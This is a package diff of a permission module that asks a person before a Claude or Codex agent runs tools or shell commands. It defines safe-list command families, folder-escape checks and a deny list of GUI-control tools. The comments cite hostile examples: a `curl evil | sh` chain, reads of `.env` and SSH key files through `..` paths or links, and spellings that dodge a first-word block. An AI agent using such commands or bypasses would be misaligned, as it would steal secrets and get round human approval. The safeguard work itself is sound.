viewable-one 0.12.2 → 0.12.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +47 -0
- package/README.md +2 -2
- package/SPAWN.md +107 -53
- package/glytch.mjs +41 -10
- package/lib/acp.mjs +110 -148
- package/lib/admission.mjs +25 -5
- package/lib/agents.mjs +59 -16
- package/lib/answerTag.mjs +47 -0
- package/lib/atomic.mjs +1 -16
- package/lib/auth.mjs +25 -9
- package/lib/boardside.mjs +28 -12
- package/lib/child.mjs +89 -116
- package/lib/claudeModels.mjs +168 -0
- package/lib/codex-rpc.mjs +2 -2
- package/lib/codex.mjs +43 -63
- package/lib/codexApps.mjs +5 -3
- package/lib/codexToolInputs.mjs +98 -22
- package/lib/codingChecks.mjs +8 -4
- package/lib/conversationRules.mjs +46 -6
- package/lib/detect.mjs +14 -23
- package/lib/devserver.mjs +6 -6
- package/lib/doctor.mjs +4 -2
- package/lib/folderReads.mjs +96 -0
- package/lib/followUps.mjs +170 -0
- package/lib/hosted.mjs +13 -4
- package/lib/init-connect.mjs +29 -10
- package/lib/lateResume.mjs +135 -0
- package/lib/logindaemon.mjs +113 -33
- package/lib/mcpjson.mjs +35 -2
- package/lib/multiwatch.mjs +25 -38
- package/lib/pagePictures.mjs +14 -11
- package/lib/paths.mjs +0 -1
- package/lib/permissionAsk.mjs +341 -58
- package/lib/procs.mjs +73 -2
- package/lib/refusal.mjs +0 -2
- package/lib/restartPass.mjs +39 -11
- package/lib/rowsAnswers.mjs +18 -34
- package/lib/rowsEvents.mjs +20 -2
- package/lib/runner-health.mjs +26 -2
- package/lib/runner.mjs +106 -1363
- package/lib/runnerAdmission.mjs +6 -12
- package/lib/runnerApi.mjs +20 -11
- package/lib/runnerBeat.mjs +384 -0
- package/lib/runnerCompletion.mjs +5 -2
- package/lib/runnerExecute.mjs +227 -0
- package/lib/runnerGates.mjs +338 -0
- package/lib/runnerLaunch.mjs +351 -0
- package/lib/runnerLease.mjs +31 -9
- package/lib/runnerOps.mjs +217 -0
- package/lib/runnerPace.mjs +10 -6
- package/lib/runnerRecovery.mjs +457 -0
- package/lib/runnerRegister.mjs +28 -7
- package/lib/runnerSettlement.mjs +29 -9
- package/lib/spawn.mjs +0 -5
- package/lib/sync.mjs +26 -14
- package/lib/viewableFolder.mjs +8 -2
- package/lib/worktree.mjs +66 -13
- package/lib/writePolicy.mjs +90 -10
- package/package.json +1 -1
package/lib/permissionAsk.mjs
CHANGED
|
@@ -9,8 +9,9 @@ import { appInputsText } from "./codexToolInputs.mjs";
|
|
|
9
9
|
// the answer.
|
|
10
10
|
//
|
|
11
11
|
// This file owns everything about that exchange that is not a pipe:
|
|
12
|
-
// - the words of the question and its
|
|
12
|
+
// - the words of the question and its options;
|
|
13
13
|
// - what "Always allow in <folder>" remembers, and where;
|
|
14
|
+
// - what "Allow for this run" lets through, and that it saves nothing;
|
|
14
15
|
// - waiting for the answer with the board's own `check_answer`;
|
|
15
16
|
// - turning the answer into allow or deny.
|
|
16
17
|
// child.mjs (Claude, `control_request`) and codex.mjs (Codex approval
|
|
@@ -30,17 +31,30 @@ import { appInputsText } from "./codexToolInputs.mjs";
|
|
|
30
31
|
// asker (agents.mjs commandFor, runner.mjs makeRunOpts).
|
|
31
32
|
|
|
32
33
|
import { createHash } from "node:crypto";
|
|
34
|
+
import { lstatSync, realpathSync, statSync } from "node:fs";
|
|
33
35
|
import { mkdir, readFile } from "node:fs/promises";
|
|
34
|
-
import { basename, join, posix, win32 } from "node:path";
|
|
36
|
+
import { basename, dirname, isAbsolute, join, posix, relative, resolve, sep, win32 } from "node:path";
|
|
35
37
|
import { writeFileAtomic } from "./atomic.mjs";
|
|
36
38
|
import { askUserOnBoard } from "./boardside.mjs";
|
|
37
39
|
import { callTool as hostedCallTool } from "./hosted.mjs";
|
|
38
40
|
import { viewableHome } from "./registry.mjs";
|
|
39
41
|
|
|
40
|
-
/** The
|
|
42
|
+
/** The buttons, in this order. "Allow" is the recommended one. */
|
|
41
43
|
export const ALLOW = "Allow";
|
|
44
|
+
/** A shell command's ask also offers this (ruling #4105): one tap allows this
|
|
45
|
+
* command and every later command of the same run without asking. It lives in
|
|
46
|
+
* the asker, which is built once per run, so nothing is saved: the next run
|
|
47
|
+
* (a follow-up that starts a new run too) asks again. A task that drives an app
|
|
48
|
+
* step by step sends a slightly different command each time, which "Always
|
|
49
|
+
* allow" (one exact command, #3726) never covers. */
|
|
50
|
+
export const ALLOW_RUN = "Allow for this run";
|
|
42
51
|
export const NOT_THIS = "Not this";
|
|
43
|
-
|
|
52
|
+
/** "Always allow git status in my-app" names the safe family it saves (#3726);
|
|
53
|
+
* without one (a tool, not a shell command) it stays "Always allow in my-app". */
|
|
54
|
+
export const alwaysLabel = (folderName, word = "") => word === "" ? `Always allow in ${folderName}` : `Always allow ${word} in ${folderName}`;
|
|
55
|
+
/** A shell command off the safe list saves exactly itself, so its button says
|
|
56
|
+
* so (#3683, #3726). */
|
|
57
|
+
export const alwaysExactLabel = (folderName) => `Always allow this command in ${folderName}`;
|
|
44
58
|
|
|
45
59
|
const digest = (value) => createHash("sha256").update(value).digest("hex");
|
|
46
60
|
|
|
@@ -73,41 +87,213 @@ const commandDisplay = (command, { escapeBoundarySpaces = false, escapeLineWhite
|
|
|
73
87
|
.replace(/[\n\t]/g, (character) => escapeLineWhitespace ? (character === "\n" ? "\\n" : "\\t") : character);
|
|
74
88
|
|
|
75
89
|
// ---------------------------------------------------------------------------
|
|
76
|
-
// WHAT "ALWAYS" REMEMBERS
|
|
90
|
+
// WHAT "ALWAYS" REMEMBERS (ruling #3726)
|
|
91
|
+
//
|
|
92
|
+
// "Always allow" covers a family of commands only for a short safe list of
|
|
93
|
+
// read-only or test commands. Every other command saves exactly itself: the
|
|
94
|
+
// whole command line as typed, so a later command that differs in any byte
|
|
95
|
+
// asks again. This replaced a block list of commands that delete or hide
|
|
96
|
+
// what they run, which kept missing new ways to spell one (#3671, #3683,
|
|
97
|
+
// #3692, #3701): a safe list does not have to know them.
|
|
98
|
+
//
|
|
99
|
+
// A command is in a family only when it is plain enough to read for sure:
|
|
100
|
+
// ASCII letters, digits, spaces and `_ . / : @ % + , = -`, nothing else. So a
|
|
101
|
+
// redirect, a chain, a substitution, a quote, a backslash (`r\<newline>m`), a
|
|
102
|
+
// glob, a brace (`git {reset,--hard}`), a tilde, a hidden character or a
|
|
103
|
+
// NAME=value prefix is never in a family. A word that starts with `=` is a zsh
|
|
104
|
+
// path lookup (`=rm`), so it is out too. The family's words come first, so
|
|
105
|
+
// `noglob ls`, `arch -arm64 ls`, `env ls` and `git -c x log` are out as well.
|
|
106
|
+
// A read command also leaves its family when a word starts with `/` or has a
|
|
107
|
+
// `..` path step (`cat /etc/hosts`, `head ../../.env`), and `git diff
|
|
108
|
+
// --no-index` is out: they read past the folder (#3737). With the folder
|
|
109
|
+
// known, the words are also resolved through links (`cat link/id_ed25519`
|
|
110
|
+
// where `link` points out), and a command whose working folder is outside the
|
|
111
|
+
// folder is in no family (#3759).
|
|
112
|
+
|
|
113
|
+
/** Where a path lands once links are followed: the nearest existing parent's
|
|
114
|
+
* real path plus the rest (a path not made yet is judged by its parent), or
|
|
115
|
+
* null when a link cannot be followed. */
|
|
116
|
+
const realPathOf = (path) => {
|
|
117
|
+
let existing = path;
|
|
118
|
+
const rest = [];
|
|
119
|
+
for (;;) {
|
|
120
|
+
try { lstatSync(existing); break; }
|
|
121
|
+
catch (error) {
|
|
122
|
+
if (error?.code !== "ENOENT" && error?.code !== "ENOTDIR") return null;
|
|
123
|
+
const parent = dirname(existing);
|
|
124
|
+
if (parent === existing) return null;
|
|
125
|
+
rest.unshift(basename(existing));
|
|
126
|
+
existing = parent;
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
try { return join(realpathSync(existing), ...rest); } catch { return null; }
|
|
130
|
+
};
|
|
131
|
+
const within = (path, root) => {
|
|
132
|
+
const rel = relative(root, path);
|
|
133
|
+
return !isAbsolute(rel) && rel.split(sep)[0] !== "..";
|
|
134
|
+
};
|
|
135
|
+
/** Whether `target` (a word, relative to `base`) really lands inside `folder`,
|
|
136
|
+
* links followed. A folder that does not exist has no links in it, so its own
|
|
137
|
+
* written path stands in for its real one. */
|
|
138
|
+
const staysInFolder = (target, base, folder) => {
|
|
139
|
+
const root = realPathOf(resolve(folder));
|
|
140
|
+
const real = realPathOf(resolve(base, target));
|
|
141
|
+
return root !== null && real !== null && within(real, root);
|
|
142
|
+
};
|
|
143
|
+
|
|
144
|
+
/** Words only: no shell syntax can hide in them. */
|
|
145
|
+
const PLAIN = /^[A-Za-z0-9_./:@%+,= -]*$/;
|
|
146
|
+
/** A word that stays inside the folder (#3737): it does not start with `/`
|
|
147
|
+
* (nor does a part after `=` or `:`, as in `--file=/etc/hosts`), and none of its
|
|
148
|
+
* path steps is `..`. A read command that leaves the folder reads a key or an
|
|
149
|
+
* `.env` the Read tool would ask about, so it saves the exact command only. */
|
|
150
|
+
const insideFolder = (word) => !word.split(/[=:]/).some((piece) => piece.startsWith("/")) && !word.split(/[/=:]/).includes("..");
|
|
151
|
+
/** Any word a read-only command may take, as long as it stays in the folder. */
|
|
152
|
+
const readWord = insideFolder;
|
|
153
|
+
/** `--output` writes a file, and git takes a long option cut short (`--out`),
|
|
154
|
+
* so every `--o` word but `--oneline` is out. git's own options (`-c`, `-C`,
|
|
155
|
+
* `--exec-path`) go before the subcommand and never match the family. */
|
|
156
|
+
const gitWord = (word) => insideFolder(word) && (!word.startsWith("--o") || word === "--oneline");
|
|
157
|
+
/** `git diff --no-index` compares files outside the repo, so it is out too,
|
|
158
|
+
* and so is any cut-short spelling of it (`--no-ind`). */
|
|
159
|
+
const gitDiffWord = (word) => gitWord(word) && !(word.length > 2 && "--no-index".startsWith(word));
|
|
160
|
+
/** Tests take test names and files only. A flag can write or delete outside
|
|
161
|
+
* the run: vitest empties `--coverage.reportsDirectory` before it starts. */
|
|
162
|
+
const testWord = (word) => word === "--" || !word.startsWith("-");
|
|
163
|
+
/** Product default under #3726: kept short and read-only, plus the test run.
|
|
164
|
+
* Read commands stay in their family only while every word stays inside the
|
|
165
|
+
* folder (#3737). */
|
|
166
|
+
const SAFE_FAMILIES = [
|
|
167
|
+
["ls"], ["cat"], ["pwd"], ["head"], ["tail"], ["wc"],
|
|
168
|
+
["git", "status", gitWord], ["git", "diff", gitDiffWord], ["git", "log", gitWord], ["git", "show", gitWord],
|
|
169
|
+
["npm", "test", testWord], ["npx", "vitest", "run", testWord],
|
|
170
|
+
].map((entry) => {
|
|
171
|
+
const check = typeof entry.at(-1) === "function" ? entry.at(-1) : readWord;
|
|
172
|
+
return { words: entry.filter((part) => typeof part === "string"), check };
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
/** Codex wraps a command in the login shell: `/bin/zsh -lc 'npm test'`. The
|
|
176
|
+
* command inside, or the command itself when it is not wrapped that way.
|
|
177
|
+
* Without `-c` the shell reads a script file named by the word, so
|
|
178
|
+
* `zsh -l 'ls'` is not ls. */
|
|
179
|
+
export const unwrapLoginShell = (command) => {
|
|
180
|
+
const raw = String(command ?? "");
|
|
181
|
+
const wrapped = /^\s*(?:\/bin\/)?(?:bash|zsh|sh) -(?:lc|cl|c) '([^']*)'\s*$/.exec(raw);
|
|
182
|
+
return wrapped ? wrapped[1] : raw;
|
|
183
|
+
};
|
|
184
|
+
|
|
185
|
+
/** The safe family one plain command is in ("git status"), or "". */
|
|
186
|
+
const familyOfPart = (part, scope) => {
|
|
187
|
+
if (!PLAIN.test(part)) return "";
|
|
188
|
+
const words = part.split(" ").filter((word) => word !== "");
|
|
189
|
+
if (words.some((word) => word.startsWith("="))) return "";
|
|
190
|
+
const family = SAFE_FAMILIES.find((f) => f.words.every((word, i) => words[i] === word));
|
|
191
|
+
if (!family || !words.slice(family.words.length).every(family.check)) return "";
|
|
192
|
+
if (scope && !wordsStayInFolder(family, words.slice(family.words.length), scope)) return "";
|
|
193
|
+
return family.words.join(" ");
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
/** With the folder known (#3759): the working folder is inside it, and a read
|
|
197
|
+
* command's path words land inside it with links followed. A test run takes
|
|
198
|
+
* names, not paths, so only its working folder counts. */
|
|
199
|
+
const wordsStayInFolder = (family, args, { folder, cwd, unknown }) => {
|
|
200
|
+
if (unknown) return false;
|
|
201
|
+
const base = typeof cwd === "string" && cwd !== "" ? cwd : folder;
|
|
202
|
+
if (!staysInFolder(".", base, folder)) return false;
|
|
203
|
+
if (family.check === testWord) return true;
|
|
204
|
+
return args.every((word) => word.split(/[=:]/).every((piece) => piece === "" || staysInFolder(piece, base, folder)));
|
|
205
|
+
};
|
|
206
|
+
|
|
207
|
+
/** The safe family a shell command is in, or "" when it saves exactly itself. */
|
|
208
|
+
export const safeFamilyOf = (command, scope) => familyOfPart(unwrapLoginShell(command), scope);
|
|
209
|
+
|
|
210
|
+
/** A pipe between safe-list commands (`git log | head`): each part's family,
|
|
211
|
+
* or null when any part is not on the list. */
|
|
212
|
+
const safePipeline = (command, scope) => {
|
|
213
|
+
const parts = unwrapLoginShell(command).split("|");
|
|
214
|
+
if (parts.length < 2) return null;
|
|
215
|
+
const families = parts.map((part) => familyOfPart(part, scope));
|
|
216
|
+
return families.every((family) => family !== "") ? families : null;
|
|
217
|
+
};
|
|
218
|
+
|
|
219
|
+
/** What the folder checks need (#3759): the run's folder and the command's own
|
|
220
|
+
* working folder (Codex sends it; for Claude the asker tracks its shell, #3801).
|
|
221
|
+
* `cwdUnknown` marks a shell whose folder could not be worked out: no family.
|
|
222
|
+
* No folder means no check beyond the words. */
|
|
223
|
+
const scopeOf = (input, folder) =>
|
|
224
|
+
(typeof folder === "string" && folder !== "" ? { folder, cwd: input?.cwd, unknown: input?.cwdUnknown === true } : undefined);
|
|
225
|
+
|
|
226
|
+
/** A shell command whose working folder is outside the linked folder (#3759):
|
|
227
|
+
* no saved rule covers it, so remembering one would mislead. */
|
|
228
|
+
const runsOutside = (toolName, input, folder) =>
|
|
229
|
+
toolName === "Bash" && typeof input?.cwd === "string" && input.cwd !== "" && scopeOf(input, folder) !== undefined && !staysInFolder(".", input.cwd, folder);
|
|
230
|
+
|
|
231
|
+
/** The "Always allow" button for a tool call. A shell command names its
|
|
232
|
+
* family, or says it saves this command only. */
|
|
233
|
+
export function alwaysOptionFor(toolName, input, folderName, folder) {
|
|
234
|
+
if (toolName !== "Bash") return alwaysLabel(folderName);
|
|
235
|
+
if (runsOutside(toolName, input, folder)) return "";
|
|
236
|
+
const family = safeFamilyOf(input?.command, scopeOf(input, folder));
|
|
237
|
+
return family === "" ? alwaysExactLabel(folderName) : alwaysLabel(folderName, family);
|
|
238
|
+
}
|
|
239
|
+
|
|
77
240
|
// ---------------------------------------------------------------------------
|
|
241
|
+
// WHERE CLAUDE'S SHELL IS (#3801)
|
|
242
|
+
//
|
|
243
|
+
// Claude keeps one shell for the whole run, so a `cd sub` it was allowed to run
|
|
244
|
+
// moves every later command into `sub`, and a link there is judged from `sub`,
|
|
245
|
+
// not from the run's folder. The asker follows the `cd`s it let through. A
|
|
246
|
+
// `cd` it cannot read for sure (a quote, a variable, `cd -`, a pipe, a
|
|
247
|
+
// subshell, `pushd`, or a `cd` after any other part of the chain, since that
|
|
248
|
+
// part may fail and skip it, or a second `cd`) leaves the folder unknown, and an unknown folder puts no
|
|
249
|
+
// command in a family: it asks, and saves the exact command only. A `cd` that
|
|
250
|
+
// went through without a question (Claude's own list) is not seen here.
|
|
251
|
+
|
|
252
|
+
/** A chain of plain words joined by `&&`, `;` or a new line: nothing that
|
|
253
|
+
* could run a `cd` in a subshell, a pipe or the background. */
|
|
254
|
+
const CD_CHAIN = /^(?:[A-Za-z0-9_./:@%+,= \t\n;-]|&&)*$/;
|
|
255
|
+
const MENTIONS_CD = /(?:^|[^\w./-])(?:cd|pushd|popd|chdir)(?![\w.-])/;
|
|
78
256
|
|
|
79
|
-
/**
|
|
80
|
-
export function
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
257
|
+
/** Where the shell is after `command` ran from `shell` ({cwd, unknown}). */
|
|
258
|
+
export function shellAfter(command, shell, folder) {
|
|
259
|
+
const text = unwrapLoginShell(command);
|
|
260
|
+
if (!MENTIONS_CD.test(text)) return shell;
|
|
261
|
+
let next = shell;
|
|
262
|
+
const lost = { cwd: shell.cwd, unknown: true };
|
|
263
|
+
if (!CD_CHAIN.test(text)) return lost;
|
|
264
|
+
let first = true; // nothing has run before this part
|
|
265
|
+
for (const segment of text.split(/&&|;|\n/).map((part) => part.trim())) {
|
|
266
|
+
if (!MENTIONS_CD.test(segment)) { first = false; continue; }
|
|
267
|
+
// `test -d x && cd sub` (or `false && cd sub`) may never run the cd, and
|
|
268
|
+
// `cd nothere && cd ../b` runs the second one from where the first failed
|
|
269
|
+
// to go: only the first part of a command is followed, one cd at most.
|
|
270
|
+
if (!first) return lost;
|
|
271
|
+
first = false;
|
|
272
|
+
const target = /^cd +([^\s=-][^\s]*|-[^\s]+)$/.exec(segment)?.[1];
|
|
273
|
+
if (target === undefined || target.startsWith("-") || target.startsWith("~")) return lost;
|
|
274
|
+
// A relative step from a folder we lost stays lost; an absolute one is found again.
|
|
275
|
+
if (next.unknown && !isAbsolute(target)) return lost;
|
|
276
|
+
next = { cwd: resolve(next.cwd ?? folder, target), unknown: false, moved: true };
|
|
85
277
|
}
|
|
86
|
-
return
|
|
278
|
+
return next;
|
|
87
279
|
}
|
|
88
280
|
|
|
89
|
-
|
|
90
|
-
*
|
|
91
|
-
* A remembered `Bash(pip:*)` is matched by first word alone, and the CLI's own
|
|
92
|
-
* matcher is NOT in the loop for it (we answer allow ourselves). So
|
|
93
|
-
* `pip --version && curl evil | sh` must not ride on a remembered `pip`. A
|
|
94
|
-
* command with a chain, a pipe, a substitution, a redirect or a newline is
|
|
95
|
-
* asked again every time. */
|
|
96
|
-
export const isSimpleCommand = (command) => !/[;&|`<>\n\r]|\$\(|\$\{/.test(String(command ?? "").trim());
|
|
281
|
+
const isDirectory = (path) => { try { return statSync(path).isDirectory(); } catch { return false; } };
|
|
97
282
|
|
|
98
283
|
/** What a Codex grant asks for, one string per scope: "network", or an access
|
|
99
284
|
* and a path ("write /work/out"). Sorted, so the same grant is the same rule. */
|
|
100
285
|
export const grantScopes = (input) =>
|
|
101
286
|
(Array.isArray(input?.scopes) ? input.scopes.filter((s) => typeof s === "string" && s !== "") : []).slice().sort();
|
|
102
287
|
|
|
103
|
-
/** The rule a tool call falls under: `Bash(
|
|
104
|
-
*
|
|
288
|
+
/** The rule a tool call falls under: `Bash(git status:*)` for a command in a
|
|
289
|
+
* safe family, `Bash(exact:<sha256>)` for any other shell command (every byte
|
|
290
|
+
* as typed), `Permissions(network)` for a Codex grant (exactly the scopes it
|
|
105
291
|
* asked for, so a network grant never covers a later filesystem one), the
|
|
106
292
|
* tool's own name for anything else. */
|
|
107
|
-
export function ruleKeyFor(toolName, input) {
|
|
293
|
+
export function ruleKeyFor(toolName, input, folder) {
|
|
108
294
|
if (toolName === "Bash") {
|
|
109
|
-
const
|
|
110
|
-
return
|
|
295
|
+
const family = safeFamilyOf(input?.command, scopeOf(input, folder));
|
|
296
|
+
return family === "" ? `Bash(exact:${digest(String(input?.command ?? ""))})` : `Bash(${family}:*)`;
|
|
111
297
|
}
|
|
112
298
|
if (toolName === "Permissions") {
|
|
113
299
|
const scopes = grantScopes(input);
|
|
@@ -143,11 +329,11 @@ const hostOf = (url) => {
|
|
|
143
329
|
};
|
|
144
330
|
|
|
145
331
|
/** What the agent wants to do, as a verb phrase a person can read. */
|
|
146
|
-
export function actionWords(toolName, input = {}, { folder, folderName, onTargetChanged } = {}) {
|
|
332
|
+
export function actionWords(toolName, input = {}, { folder, folderName, where = folderName, onTargetChanged } = {}) {
|
|
147
333
|
switch (toolName) {
|
|
148
334
|
case "Bash": {
|
|
149
335
|
const command = oneLine(commandDisplay(input.command), 90);
|
|
150
|
-
return "run " + (command || "a command with no text") + " in " +
|
|
336
|
+
return "run " + (command || "a command with no text") + " in " + where;
|
|
151
337
|
}
|
|
152
338
|
case "WebSearch": return "search the web";
|
|
153
339
|
case "WebFetch": return `open ${oneLine(hostOf(input.url), 60)}`;
|
|
@@ -189,32 +375,68 @@ function purposeOf(toolName, input = {}) {
|
|
|
189
375
|
return "";
|
|
190
376
|
}
|
|
191
377
|
|
|
378
|
+
/** The agent's own question for a shell command: its stated purpose as "Can I
|
|
379
|
+
* <purpose>?" (the description is an imperative phrase, so only its first
|
|
380
|
+
* letter and trailing full stop change), else "Can I run a command in <folder>?".
|
|
381
|
+
* A purpose that is a reason ("To add date formatting") is no action, so it
|
|
382
|
+
* stays in `why` and the question falls back. */
|
|
383
|
+
function bashQuestion(input, where) {
|
|
384
|
+
const purpose = purposeOf("Bash", input).replace(/[.!?]+$/, "");
|
|
385
|
+
const fallback = { question: `Can I run a command in ${where}?`, usedPurpose: false };
|
|
386
|
+
if (purpose === "" || /^to\s/i.test(purpose)) return fallback;
|
|
387
|
+
// Keep a leading acronym or name (npm, README, iOS) as written.
|
|
388
|
+
const lowered = /^[A-Z][a-z]/.test(purpose) ? purpose[0].toLowerCase() + purpose.slice(1) : purpose;
|
|
389
|
+
return { question: `Can I ${lowered}?`, usedPurpose: true };
|
|
390
|
+
}
|
|
391
|
+
|
|
392
|
+
/** The folder a shell command really runs in, as the question names it (#3801):
|
|
393
|
+
* the linked folder's name when it runs in the folder (or in the run's own
|
|
394
|
+
* copy of it, `base`), "name/sub" for a subfolder, the whole path when it runs
|
|
395
|
+
* elsewhere. */
|
|
396
|
+
const commandFolderName = (cwd, folder, folderName, base, unknown) => {
|
|
397
|
+
if (unknown) return "a folder it moved to";
|
|
398
|
+
if (typeof cwd !== "string" || cwd === "") return folderName;
|
|
399
|
+
for (const root of [base, folder]) {
|
|
400
|
+
if (typeof root !== "string" || root === "") continue;
|
|
401
|
+
const rel = relative(resolve(root), resolve(cwd));
|
|
402
|
+
if (!isAbsolute(rel) && rel.split(sep)[0] !== "..") return oneLine(commandDisplay(rel === "" ? folderName : `${folderName}/${rel.split(sep).join("/")}`), 80);
|
|
403
|
+
}
|
|
404
|
+
return oneLine(commandDisplay(cwd), 80);
|
|
405
|
+
};
|
|
406
|
+
|
|
192
407
|
/** The whole question, ready for ask_user.
|
|
193
408
|
*
|
|
194
|
-
* question: "Can I
|
|
195
|
-
*
|
|
409
|
+
* question: "Can I install requests?" (the agent's purpose), or
|
|
410
|
+
* "Can I run a command in my-app?"; never the command itself
|
|
411
|
+
* options: Allow | Allow for this run | Not this | Always allow this command in my-app
|
|
412
|
+
* (a safe-list command names its family instead, #3726; "Allow
|
|
413
|
+
* for this run" is offered on shell commands only, #4105)
|
|
196
414
|
* why: what it is for, or blank when there is no purpose to add;
|
|
197
415
|
* includes full commands, scopes or paths when cut or hidden
|
|
198
416
|
*/
|
|
199
|
-
export function questionFor({ toolName, input, folder }) {
|
|
417
|
+
export function questionFor({ toolName, input, folder, base }) {
|
|
200
418
|
const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName));
|
|
201
419
|
if (mcp) {
|
|
202
420
|
const [, provider, name] = mcp;
|
|
203
421
|
const risk = writeRisk(provider.toLowerCase(), name, input) ?? "open-ended";
|
|
204
422
|
return { question: `Use ${name.replaceAll("_", " ")} in ${provider}?`,
|
|
205
|
-
|
|
423
|
+
// A tool that only flags itself destructive has no reason line (#4571).
|
|
424
|
+
why: `On your computer, ${provider}\n${riskReason(risk) ? `${riskReason(risk)}\n` : ""}${appInputsText(provider, input, name)}`,
|
|
206
425
|
options: [ALLOW, NOT_THIS], recommendation: { answer: ALLOW, why: "Allow this request once." } };
|
|
207
426
|
}
|
|
208
427
|
const folderName = basename(folder) || folder;
|
|
209
428
|
let targetChanged = false;
|
|
210
|
-
const
|
|
429
|
+
const where = toolName === "Bash" ? commandFolderName(input?.cwd, folder, folderName, base, input?.cwdUnknown === true) : folderName;
|
|
430
|
+
const action = actionWords(toolName, input, { folder, folderName, where, onTargetChanged: () => { targetChanged = true; } });
|
|
211
431
|
let why = purposeOf(toolName, input);
|
|
432
|
+
const bash = toolName === "Bash" ? bashQuestion(input, where) : null;
|
|
433
|
+
if (bash?.usedPurpose) why = "";
|
|
212
434
|
if (toolName === "Bash") {
|
|
213
435
|
// Preserve literal spacing and show hidden characters explicitly.
|
|
214
436
|
// Hosted ask_user has no upper why limit, so display the whole command.
|
|
215
437
|
const rawCommand = String(input?.command ?? "");
|
|
216
438
|
const command = commandDisplay(rawCommand, { escapeBoundarySpaces: true });
|
|
217
|
-
if (command
|
|
439
|
+
if (command) {
|
|
218
440
|
const fullCommand = `Command: ${command}`;
|
|
219
441
|
why = why ? `${why}\n${fullCommand}` : fullCommand;
|
|
220
442
|
}
|
|
@@ -233,9 +455,9 @@ export function questionFor({ toolName, input, folder }) {
|
|
|
233
455
|
}
|
|
234
456
|
}
|
|
235
457
|
return {
|
|
236
|
-
question: `Can I ${action}?`,
|
|
458
|
+
question: bash ? bash.question : `Can I ${action}?`,
|
|
237
459
|
why,
|
|
238
|
-
options: [ALLOW, NOT_THIS,
|
|
460
|
+
options: [ALLOW, toolName === "Bash" ? ALLOW_RUN : "", NOT_THIS, alwaysOptionFor(toolName, input, folderName, folder)].filter(Boolean),
|
|
239
461
|
recommendation: { answer: ALLOW, why: "It lets this run carry on with what you asked." },
|
|
240
462
|
};
|
|
241
463
|
}
|
|
@@ -270,13 +492,19 @@ export async function rememberRule(env, folder, key) {
|
|
|
270
492
|
return next;
|
|
271
493
|
}
|
|
272
494
|
|
|
273
|
-
/**
|
|
274
|
-
*
|
|
275
|
-
|
|
495
|
+
/** A shell command is covered by its own exact rule or its safe family's
|
|
496
|
+
* rule; a pipe between safe-list commands by every part's family. A word rule
|
|
497
|
+
* saved before #3726 still matches its family when it names one (`Bash(ls:*)`,
|
|
498
|
+
* cat, pwd, head, tail, wc), and only then; any other (`Bash(npm:*)`,
|
|
499
|
+
* `Bash(rm:*)`) matches no key any more. */
|
|
500
|
+
export function ruleCovers(rules, toolName, input, folder) {
|
|
276
501
|
if (!rememberable(toolName, input)) return false;
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
502
|
+
// A command run from outside the linked folder is never covered, not even by
|
|
503
|
+
// a rule saved for those exact bytes (#3759): the bytes mean something else there.
|
|
504
|
+
if (runsOutside(toolName, input, folder)) return false;
|
|
505
|
+
if (rules.includes(ruleKeyFor(toolName, input, folder))) return true;
|
|
506
|
+
const pipeline = toolName === "Bash" ? safePipeline(input?.command, scopeOf(input, folder)) : null;
|
|
507
|
+
return pipeline !== null && pipeline.every((family) => rules.includes(`Bash(${family}:*)`));
|
|
280
508
|
}
|
|
281
509
|
|
|
282
510
|
// ---------------------------------------------------------------------------
|
|
@@ -298,13 +526,16 @@ export function readAnswer(text) {
|
|
|
298
526
|
* agent carry on rather than retry or stop. */
|
|
299
527
|
const NO_MESSAGE = "The person said no to this. Carry on without it, and do not ask for it again.";
|
|
300
528
|
|
|
301
|
-
/** An answer, as the verdict the engine needs: {behavior, remember,
|
|
302
|
-
|
|
529
|
+
/** An answer, as the verdict the engine needs: {behavior, remember, forRun,
|
|
530
|
+
* message}. `forRun` (only when the ask offered "Allow for this run") lets the
|
|
531
|
+
* rest of the run's commands through; it is never remembered. */
|
|
532
|
+
export function verdictFor(answer, folderName, always = alwaysLabel(folderName), { runOffered = false } = {}) {
|
|
303
533
|
if (answer.state === "gone") {
|
|
304
534
|
return { behavior: "deny", remember: false, message: "The person dismissed the question without answering. Carry on without it, and do not ask for it again." };
|
|
305
535
|
}
|
|
306
536
|
if (answer.decision === ALLOW) return { behavior: "allow", remember: false };
|
|
307
|
-
if (answer.decision ===
|
|
537
|
+
if (runOffered && answer.decision === ALLOW_RUN) return { behavior: "allow", remember: false, forRun: true };
|
|
538
|
+
if (always && answer.decision === always) return { behavior: "allow", remember: true };
|
|
308
539
|
if (answer.decision === NOT_THIS || answer.decision === "") return { behavior: "deny", remember: false, message: NO_MESSAGE };
|
|
309
540
|
// Their own words: not a button. That is a no, with the words passed along,
|
|
310
541
|
// because "use yarn instead" is guidance the agent should read.
|
|
@@ -329,6 +560,19 @@ const sleepFor = (ms, signal) =>
|
|
|
329
560
|
signal?.addEventListener("abort", done, { once: true });
|
|
330
561
|
});
|
|
331
562
|
|
|
563
|
+
// A RUN NEVER CLICKS OR TYPES INSIDE ANOTHER APP (#4204, #4273). The word list
|
|
564
|
+
// in agents.mjs bars these commands for Claude Code by their first word; this
|
|
565
|
+
// is the second door, for what that misses (`/usr/bin/osascript`, `env
|
|
566
|
+
// osascript`, `sh -c "osascript ..."`) and for Codex, whose escalations arrive
|
|
567
|
+
// here too. It runs before any "Allow for this run" or remembered rule, so
|
|
568
|
+
// nothing can wave a command through. A command word is a word whose basename
|
|
569
|
+
// is one of these, wherever it sits in the line; a line that only mentions
|
|
570
|
+
// one in text is refused too, which is the safe side.
|
|
571
|
+
export const CLICK_AND_SCREEN_COMMANDS = ["osascript", "screencapture", "cliclick"];
|
|
572
|
+
export const CLICK_AND_SCREEN_DENIED = "I can't press buttons inside other apps. A run never clicks, types into or takes pictures of another app's window; carry on with commands or files, or say you cannot.";
|
|
573
|
+
const CLICK_AND_SCREEN_WORD = new RegExp(`(?:^|[\\s;&|()\`'"=])(?:[^\\s;&|()\`'"]*/)?(?:${CLICK_AND_SCREEN_COMMANDS.join("|")})(?=$|[\\s;&|()\`'"])`);
|
|
574
|
+
